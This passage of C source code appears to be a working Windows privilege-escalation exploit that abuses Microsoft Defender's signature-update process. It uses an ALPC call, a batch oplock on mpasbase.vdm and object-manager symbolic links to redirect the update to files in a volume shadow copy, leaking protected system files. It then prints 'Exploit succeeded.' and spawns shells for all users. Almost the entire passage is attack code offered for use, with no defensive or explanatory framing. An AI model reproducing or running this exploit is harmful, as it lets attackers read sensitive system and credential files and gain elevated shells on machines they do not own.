if (WaitForMultipleObjects(2, events, FALSE, INFINITE) - WAIT_OBJECT_0)
{
printf("ServerMpUpdateEngineSignature ALPC call ended unexpectedly, RPC_STATUS : 0x%0.8X\n", threadargs.res);
goto cleanup;
}
CloseHandle(od.hEvent);
PFILE_NOTIFY_INFORMATION pfni = (PFILE_NOTIFY_INFORMATION)buff;
if (pfni->Action != FILE_ACTION_ADDED)
continue;
wcscat(newdefupdatedirname, pfni->FileName);
break;
} while (1);
printf("Detected new definition update directory in %ws\n", newdefupdatedirname);
wcscpy(updatelibpath, L"\\??\\");
wcscat(updatelibpath, updatepath);
wcscat(updatelibpath, L"\\mpasbase.vdm");
RtlInitUnicodeString(&unistrupdatelibpath, updatelibpath);
InitializeObjectAttributes(&objattr, &unistrupdatelibpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
ntstat = NtCreateFile(&hupdatefile, GENERIC_READ | DELETE | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL);
if (ntstat)
{
printf("Failed to open update library, ntstatus : 0x%0.8X", ntstat);
goto cleanup;
}
printf("Setting oplock on %ws\n", updatelibpath);
ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
DeviceIoControl(hupdatefile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
if (GetLastError() != ERROR_IO_PENDING)
{
printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
goto cleanup;
}
printf("Waiting for oplock to trigger...\n");
GetOverlappedResult(hupdatefile, &ovd, &transfersz, TRUE);
printf("oplock triggered !\n");
CloseHandle(hsymlink);
{
UNICODE_STRING _unisrc = { 0 };
RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory");
OBJECT_ATTRIBUTES _smobjattr = { 0 };
InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);
UNICODE_STRING _unidest = { 0 };
RtlInitUnicodeString(&_unidest, objdirpath);
ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest);
if (ntstat)
{
printf("NtCreateSymbolicLinkObject failed with error : 0x%0.8X\n", ntstat);
goto cleanup;
}
RtlInitUnicodeString(&objlinkname, L"mpasbase.vdm");
ZeroMemory(nttargetfile, sizeof(nttargetfile));
wcscpy(nttargetfile, fullvsspath);
wcscat(nttargetfile, filestoleak[x]);
RtlInitUnicodeString(&objlinktarget, nttargetfile);
InitializeObjectAttributes(&objattr, &objlinkname, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);
ntstat = _NtCreateSymbolicLinkObject(&hobjlink, GENERIC_ALL, &objattr, &objlinktarget);
if (ntstat)
{
printf("Failed to create object manager symbolic link, error : 0x%0.8X\n", ntstat);
goto cleanup;
}
}
CloseHandle(ov.hEvent);
ov.hEvent = NULL;
CloseHandle(ovd.hEvent);
ovd.hEvent = NULL;
CloseHandle(hupdatefile);
hupdatefile = NULL;
wcscat(newdefupdatedirname, L"\\mpasbase.vdm");
htransaction = CreateTransaction(NULL, NULL, TRANSACTION_DO_NOT_PROMOTE, NULL, NULL, NULL, NULL);
if (!htransaction)
{
printf("Failed to open leaked file.\n");
goto cleanup;
}
do {
hleakedfile = CreateFileTransacted(newdefupdatedirname, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL,htransaction,NULL,NULL);
} while (hleakedfile == INVALID_HANDLE_VALUE || !hleakedfile);
printf("Leaked file opened %ws\n", newdefupdatedirname);
CloseHandle(hdir);
hdir = NULL;
CloseHandle(hobjlink);
hobjlink = NULL;
printf("Exploit succeeded.\n");
SetEvent(hreleaseready);
DoSpawnShellAsAllUsers(hleakedfile);
CloseHandle(hleakedfile);
hleakedfile = NULL;
RollbackTransaction(htransaction);
CloseHandle(htransaction);
htransaction = NULL;
WaitForSingleObject(hthread, INFINITE);
CloseHandle(hthread);
hthread = NULL;
}
}
catch (int exception)
{
goto cleanup;
}
cleanup:
if(hint)
InternetCloseHandle(hint);
if(hint)
InternetCloseHandle(hint2);
if (exebuff)
free(exebuff);
if(mappedbuff)
UnmapViewOfFile(mappedbuff);
if (hmapping)
CloseHandle(hmapping);
if (hcabctx)
FDIDestroy(hcabctx);
if (hdir)
CloseHandle(hdir);
if (rdb)
HeapFree(GetProcessHeap(), NULL, rdb);
if (ov.hEvent)
CloseHandle(ov.hEvent);
if (ovd.hEvent)
CloseHandle(ovd.hEvent);
if (hreleaseready)
{
SetEvent(hreleaseready);
Sleep(1000);
CloseHandle(hreleaseready);
}
if (hleakedfile)
{
if (filelocked)
UnlockFile(hleakedfile, NULL, NULL, NULL, NULL);
CloseHandle(hleakedfile);
}
if (leakedfilebuff)
free(leakedfilebuff);
if (hcurrentthread)
CloseHandle(hcurrentthread);
if (needupdatedircleanup)
{
wchar_t dirtoclean[MAX_PATH] = { 0 };
wcscpy(dirtoclean, updatepath);
UpdateFilesListCurrent = UpdateFilesList;
while(UpdateFilesListCurrent)
{
if (UpdateFilesListCurrent->filecreated)
{
wchar_t filetodel[MAX_PATH] = { 0 };
wcscpy(filetodel, dirtoclean);
wcscat(filetodel, L"\\");
MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, &filetodel[lstrlenW(filetodel)], MAX_PATH - lstrlenW(filetodel) * sizeof(wchar_t));
DeleteFile(filetodel);
}
if (UpdateFilesListCurrent->hsymlink) {
CloseHandle(UpdateFilesListCurrent->hsymlink);
UpdateFilesListCurrent->hsymlink = NULL;
}
UpdateFiles* UpdateFilesListOld = UpdateFilesListCurrent;
UpdateFilesListCurrent = UpdateFilesListCurrent->next;
free(UpdateFilesListOld);
}
RemoveDirectory(dirtoclean);
}
return 0;
}